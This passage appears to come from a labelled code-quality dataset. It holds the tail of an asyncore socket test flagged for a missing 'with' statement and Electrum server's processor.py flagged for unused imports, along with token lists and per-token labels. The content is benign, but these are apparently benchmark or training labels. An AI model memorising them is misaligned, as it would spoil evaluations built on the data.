s.socket.close()\n s.create_socket(self.family)\n s.set_reuse_addr()\n self.assertTrue(s.socket.getsockopt(socket.SOL_SOCKET,\n socket.SO_REUSEADDR))\n finally:\n sock.close()", "metadata": "root.BaseTestAPI.test_set_reuse_addr", "header": "['class', 'BaseTestAPI', ':', '___EOS___']", "index": 758 } ]
[ { "span": "sock.close()", "start_line": 778, "start_column": 12, "end_line": 778, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Sho", "ul", "d_", "use_", "a_", "'", "with", "'_", "statement_", "[SEP]_", "class_", "Base", "Test", "API_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "set\\u", "reus", "e\\u", "addr_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "HAS", "\\u", "UNIX", "\\u", "SOCKET", "S_", "and_", "self_", "._", "family_", "==_", "socket_", "._", "AF", "\\u", "UNIX", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "skip", "Test_", "(_", "\"", "Not", " ", "applica", "ble", " ", "to", " ", "AF", "\\u", "UNIX", " ", "socket", "s", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sock_", "=_", "socket_", "._", "socket_", "(_", "self_", "._", "family_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sock_", "._", "setsockopt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "socket_", "._", "SO", "\\u", "REUSE", "ADDR_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "skip_", "(_", "\"", "SO", "\\u", "REUSE", "ADDR", " ", "not", " ", "support", "ed", " ", "on", " ", "this", " ", "platform", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "SO", "\\u", "REUSE", "ADDR", " ", "succe", "eded", " ", "for", " ", "sock", " ", "we", " ", "expect", " ", "async", "ore_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "do", " ", "the", " ", "same_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "async", "ore_", "._", "dispatcher_", "(_", "socket_", "._", "socket_", "(_", "self_", "._", "family_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "s_", "._", "socket_", "._", "gets", "ock", "opt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "socket_", "._", "SO", "\\u", "REUSE", "ADDR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "socket_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "create", "\\u", "socket_", "(_", "self_", "._", "family_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "set\\u", "reus", "e\\u", "addr_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "s_", "._", "socket_", "._", "gets", "ock", "opt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "socket_", "._", "SO", "\\u", "REUSE", "ADDR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sock_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2 ]
Unused import
spesmilo/electrum-server/src/processor.py
[ { "content": "#!/usr/bin/env python\n# Copyright(C) 2011-2016 Thomas Voegtlin\n#\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation files\n# (the \"Software\"), to deal in the Software without restriction,\n# including without limitation the rights to use, copy, modify, merge,\n# publish, distribute, sublicense, and/or sell copies of the Software,\n# and to permit persons to whom the Software is furnished to do so,\n# subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport json\nimport Queue as queue\nimport socket\nimport threading\nimport time\nimport sys\n\nfrom utils import random_string, timestr, print_log\nfrom utils import logger\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Shared:\n\n\n\n\n\n", "metadata": "root.Shared", "header": "['module', '___EOS___']", "index": 33 }, { "content": " def __init__(self, config):\n self.lock = threading.Lock()\n self._stopped = False\n self.config = config\n self._paused = True", "metadata": "root.Shared.__init__", "header": "['class', 'Shared', ':', '___EOS___']", "index": 35 }, { "content": " def paused(self):\n with self.lock:\n return self._paused", "metadata": "root.Shared.paused", "header": "['class', 'Shared', ':', '___EOS___']", "index": 41 }, { "content": " def pause(self):\n with self.lock:\n self._paused = True", "metadata": "root.Shared.pause", "header": "['class', 'Shared', ':', '___EOS___']", "index": 45 }, { "content": " def unpause(self):\n with self.lock:\n self._paused = False", "metadata": "root.Shared.unpause", "header": "['class', 'Shared', ':', '___EOS___']", "index": 49 }, { "content": " def stop(self):\n print_log(\"Stopping Stratum\")\n with self.lock:\n self._stopped = True", "metadata": "root.Shared.stop", "header": "['class', 'Shared', ':', '___EOS___']", "index": 53 }, { "content": " def stopped(self):\n with self.lock:\n return self._stopped", "metadata": "root.Shared.stopped", "header": "['class', 'Shared', ':', '___EOS___']", "index": 58 }, { "content": "class Processor(threading.Thread):\n\n\n\n\n\n", "metadata": "root.Processor", "header": "['module', '___EOS___']", "index": 63 }, { "content": " def __init__(self):\n threading.Thread.__init__(self)\n self.daemon = True\n self.dispatcher = None\n self.queue = queue.Queue()", "metadata": "root.Processor.__init__", "header": "['class', 'Processor', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 65 }, { "content": " def process(self, request):\n pass", "metadata": "root.Processor.process", "header": "['class', 'Processor', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 71 }, { "content": " def add_request(self, session, request):\n self.queue.put((session, request))", "metadata": "root.Processor.add_request", "header": "['class', 'Processor', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 74 }, { "content": " def push_response(self, session, response):\n #print \"response\", response\n self.dispatcher.request_dispatcher.push_response(session, response)", "metadata": "root.Processor.push_response", "header": "['class', 'Processor', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 77 }, { "content": " def close(self):\n pass", "metadata": "root.Processor.close", "header": "['class', 'Processor', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 81 }, { "content": " def run(self):\n while not self.shared.stopped():\n try:\n session, request = self.queue.get(True, timeout=1)\n msg_id = request.get('id')\n except:\n continue\n if session.stopped():\n continue\n try:\n result = self.process(request)\n self.push_response(session, {'id': msg_id, 'result': result})\n except BaseException, e:\n self.push_response(session, {'id': msg_id, 'error':str(e)})\n except:\n logger.error(\"process error\", exc_info=True)\n self.push_response(session, {'id': msg_id, 'error':'unknown error'})\n\n self.close()", "metadata": "root.Processor.run", "header": "['class', 'Processor', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 84 }, { "content": "class Dispatcher:\n\n", "metadata": "root.Dispatcher", "header": "['module', '___EOS___']", "index": 105 }, { "content": " def __init__(self, config):\n self.shared = Shared(config)\n self.request_dispatcher = RequestDispatcher(self.shared)\n self.request_dispatcher.start()\n self.response_dispatcher = \\\n ResponseDispatcher(self.shared, self.request_dispatcher)\n self.response_dispatcher.start()", "metadata": "root.Dispatcher.__init__", "header": "['class', 'Dispatcher', ':', '___EOS___']", "index": 107 }, { "content": " def register(self, prefix, processor):\n processor.dispatcher = self\n processor.shared = self.shared\n processor.start()\n self.request_dispatcher.processors[prefix] = processor", "metadata": "root.Dispatcher.register", "header": "['class', 'Dispatcher', ':', '___EOS___']", "index": 115 }, { "content": "class RequestDispatcher(threading.Thread):\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.RequestDispatcher", "header": "['module', '___EOS___']", "index": 122 }, { "content": " def __init__(self, shared):\n self.shared = shared\n threading.Thread.__init__(self)\n self.daemon = True\n self.request_queue = queue.Queue()\n self.response_queue = queue.Queue()\n self.lock = threading.Lock()\n self.idlock = threading.Lock()\n self.sessions = {}\n self.processors = {}\n self.lastgc = 0 ", "metadata": "root.RequestDispatcher.__init__", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 124 }, { "content": " def push_response(self, session, item):\n self.response_queue.put((session, item))", "metadata": "root.RequestDispatcher.push_response", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 136 }, { "content": " def pop_response(self):\n return self.response_queue.get()", "metadata": "root.RequestDispatcher.pop_response", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 139 }, { "content": " def push_request(self, session, item):\n self.request_queue.put((session, item))", "metadata": "root.RequestDispatcher.push_request", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 142 }, { "content": " def pop_request(self):\n return self.request_queue.get()", "metadata": "root.RequestDispatcher.pop_request", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 145 }, { "content": " def get_session_by_address(self, address):\n for x in self.sessions.values():\n if x.address == address:\n return x", "metadata": "root.RequestDispatcher.get_session_by_address", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 148 }, { "content": " def run(self):\n if self.shared is None:\n raise TypeError(\"self.shared not set in Processor\")\n\n while not self.shared.stopped():\n session, request = self.pop_request()\n try:\n self.do_dispatch(session, request)\n except:\n logger.error('dispatch',exc_info=True)\n\n self.stop()", "metadata": "root.RequestDispatcher.run", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 153 }, { "content": " def stop(self):\n pass", "metadata": "root.RequestDispatcher.stop", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 166 }, { "content": " def do_dispatch(self, session, request):\n \"\"\" dispatch request to the relevant processor \"\"\"\n\n method = request['method']\n params = request.get('params', [])\n suffix = method.split('.')[-1]\n\n if session is not None:\n if suffix == 'subscribe':\n if not session.subscribe_to_service(method, params):\n return\n\n prefix = request['method'].split('.')[0]\n try:\n p = self.processors[prefix]\n except:\n print_log(\"error: no processor for\", prefix)\n return\n\n p.add_request(session, request)\n\n if method in ['server.version']:\n try:\n session.version = params[0]\n session.protocol_version = float(params[1])\n except:\n pass", "metadata": "root.RequestDispatcher.do_dispatch", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 169 }, { "content": " def get_sessions(self):\n with self.lock:\n r = self.sessions.values()\n return r", "metadata": "root.RequestDispatcher.get_sessions", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 197 }, { "content": " def add_session(self, session):\n key = session.key()\n with self.lock:\n self.sessions[key] = session", "metadata": "root.RequestDispatcher.add_session", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 202 }, { "content": " def remove_session(self, session):\n key = session.key()\n with self.lock:\n del self.sessions[key]", "metadata": "root.RequestDispatcher.remove_session", "header": "['class', 'RequestDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 207 }, { "content": "class Session:\n\n\n\n\n # Debugging method. Doesn't need to be threadsafe.\n\n\n\n\n\n\n\n\n", "metadata": "root.Session", "header": "['module', '___EOS___']", "index": 213 }, { "content": " def __init__(self, dispatcher):\n self.dispatcher = dispatcher\n self.bp = self.dispatcher.processors['blockchain']\n self._stopped = False\n self.lock = threading.Lock()\n self.subscriptions = []\n self.address = ''\n self.name = ''\n self.version = 'unknown'\n self.protocol_version = 0.\n self.time = time.time()\n self.max_subscriptions = dispatcher.shared.config.getint('server', 'max_subscriptions')\n threading.Timer(2, self.info).start()", "metadata": "root.Session.__init__", "header": "['class', 'Session', ':', '___EOS___']", "index": 215 }, { "content": " def key(self):\n return self.address", "metadata": "root.Session.key", "header": "['class', 'Session', ':', '___EOS___']", "index": 230 }, { "content": " def info(self):\n if self.subscriptions:\n print_log(\"%4s\" % self.name,\n \"%21s\" % self.address,\n \"%4d\" % len(self.subscriptions),\n self.version)", "metadata": "root.Session.info", "header": "['class', 'Session', ':', '___EOS___']", "index": 234 }, { "content": " def stop(self):\n with self.lock:\n if self._stopped:\n return\n self._stopped = True\n\n self.shutdown()\n self.dispatcher.remove_session(self)\n self.stop_subscriptions()", "metadata": "root.Session.stop", "header": "['class', 'Session', ':', '___EOS___']", "index": 241 }, { "content": " def shutdown(self):\n pass", "metadata": "root.Session.shutdown", "header": "['class', 'Session', ':', '___EOS___']", "index": 252 }, { "content": " def stopped(self):\n with self.lock:\n return self._stopped", "metadata": "root.Session.stopped", "header": "['class', 'Session', ':', '___EOS___']", "index": 256 }, { "content": " def subscribe_to_service(self, method, params):\n if self.stopped():\n return False\n\n if len(self.subscriptions) > self.max_subscriptions:\n print_log(\"max subscriptions reached\", self.address)\n self.stop()\n return False\n\n # append to self.subscriptions only if this does not raise\n self.bp.do_subscribe(method, params, self)\n with self.lock:\n if (method, params) not in self.subscriptions:\n self.subscriptions.append((method,params))\n return True", "metadata": "root.Session.subscribe_to_service", "header": "['class', 'Session', ':', '___EOS___']", "index": 261 }, { "content": " def stop_subscriptions(self):\n with self.lock:\n s = self.subscriptions[:]\n for method, params in s:\n self.bp.do_unsubscribe(method, params, self)\n with self.lock:\n self.subscriptions = []", "metadata": "root.Session.stop_subscriptions", "header": "['class', 'Session', ':', '___EOS___']", "index": 278 }, { "content": "class ResponseDispatcher(threading.Thread):\n\n", "metadata": "root.ResponseDispatcher", "header": "['module', '___EOS___']", "index": 287 }, { "content": " def __init__(self, shared, request_dispatcher):\n self.shared = shared\n self.request_dispatcher = request_dispatcher\n threading.Thread.__init__(self)\n self.daemon = True", "metadata": "root.ResponseDispatcher.__init__", "header": "['class', 'ResponseDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 289 }, { "content": " def run(self):\n while not self.shared.stopped():\n session, response = self.request_dispatcher.pop_response()\n session.send_response(response)", "metadata": "root.ResponseDispatcher.run", "header": "['class', 'ResponseDispatcher', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 295 } ]
[ { "span": "import json", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 11 }, { "span": "import socket", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 13 }, { "span": "import sys", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 10 }, { "span": "from utils import random_string, timestr, print_log", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 51 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", "(", "C", ")", " ", "2011", "-", "2016", " ", "Tho", "mas", " ", "Vo", "eg", "tli", "n_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Permi", "ssion", " ", "is", " ", "here", "by", " ", "grant", "ed", ",", " ", "free", " ", "of", " ", "charge", ",", " ", "to", " ", "any", " ", "person_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "obtain", "ing", " ", "a", " ", "copy", " ", "of", " ", "this", " ", "software", " ", "and", " ", "associate", "d", " ", "documentation", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "the", " ", "\"", "Sof", "twa", "re", "\")", ",", " ", "to", " ", "deal", " ", "in", " ", "the", " ", "Sof", "twa", "re", " ", "with", "out", " ", "restriction", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inclu", "ding", " ", "with", "out", " ", "limit", "ation", " ", "the", " ", "rights", " ", "to", " ", "use", ",", " ", "copy", ",", " ", "modif", "y", ",", " ", "merge", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "publi", "sh", ",", " ", "distribute", ",", " ", "subli", "cens", "e", ",", " ", "and", "/", "or", " ", "sell", " ", "copie", "s", " ", "of", " ", "the", " ", "Sof", "twa", "re", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "to", " ", "permit", " ", "person", "s", " ", "to", " ", "who", "m", " ", "the", " ", "Sof", "twa", "re", " ", "is", " ", "fur", "nish", "ed", " ", "to", " ", "do", " ", "so", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "subject", " ", "to", " ", "the", " ", "follow", "ing", " ", "condition", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "above", " ", "copyr", "ight", " ", "notice", " ", "and", " ", "this", " ", "permissi", "on", " ", "notice", " ", "sha", "ll", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "include", "d", " ", "in", " ", "all", " ", "copie", "s", " ", "or", " ", "substa", "nti", "al", " ", "porti", "ons", " ", "of", " ", "the", " ", "Sof", "twa", "re", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "\"", "AS", " ", "IS", "\",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TY", " ", "OF", " ", "ANY", " ", "KIND", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", ",", " ", "INC", "LU", "DING", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", " ", "THE", " ", "WAR", "RAN", "TIES", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MER", "CHAN", "TAB", "ILI", "TY", ",", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "AND_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NON", "INF", "RING", "EME", "NT", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "AUTHOR", "S", " ", "OR", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "CLA", "IM", ",", " ", "DA", "MAGE", "S", " ", "OR", " ", "OTHER", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "AN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ACTI", "ON", " ", "OF", " ", "CONTR", "ACT", ",", " ", "TOR", "T", " ", "OR", " ", "OTHER", "WI", "SE", ",", " ", "ARI", "SIN", "G", " ", "FROM", ",", " ", "OUT", " ", "OF", " ", "OR", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CONNECTION", " ", "WITH", " ", "THE", " ", "SOFT", "WARE", " ", "OR", " ", "THE", " ", "USE", " ", "OR", " ", "OTHER", " ", "DEA", "LING", "S", " ", "IN", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SOFT", "WARE", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Queue_", "as_", "queue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "utils_", "import_", "random", "\\u", "string_", ",_", "timestr", "_", ",_", "print", "\\u", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "utils_", "import_", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Share", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Share", "d_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "lock_", "=_", "threading_", "._", "Lock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stopped_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "config_", "=_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "paused_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Share", "d_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "paused_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "paused_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Share", "d_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pause_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "paused_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Share", "d_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "unpa", "use_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "paused_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Share", "d_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "log_", "(_", "\"", "Stopp", "ing", " ", "Strat", "um", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stopped_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Share", "d_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stopped_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "stopped_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", 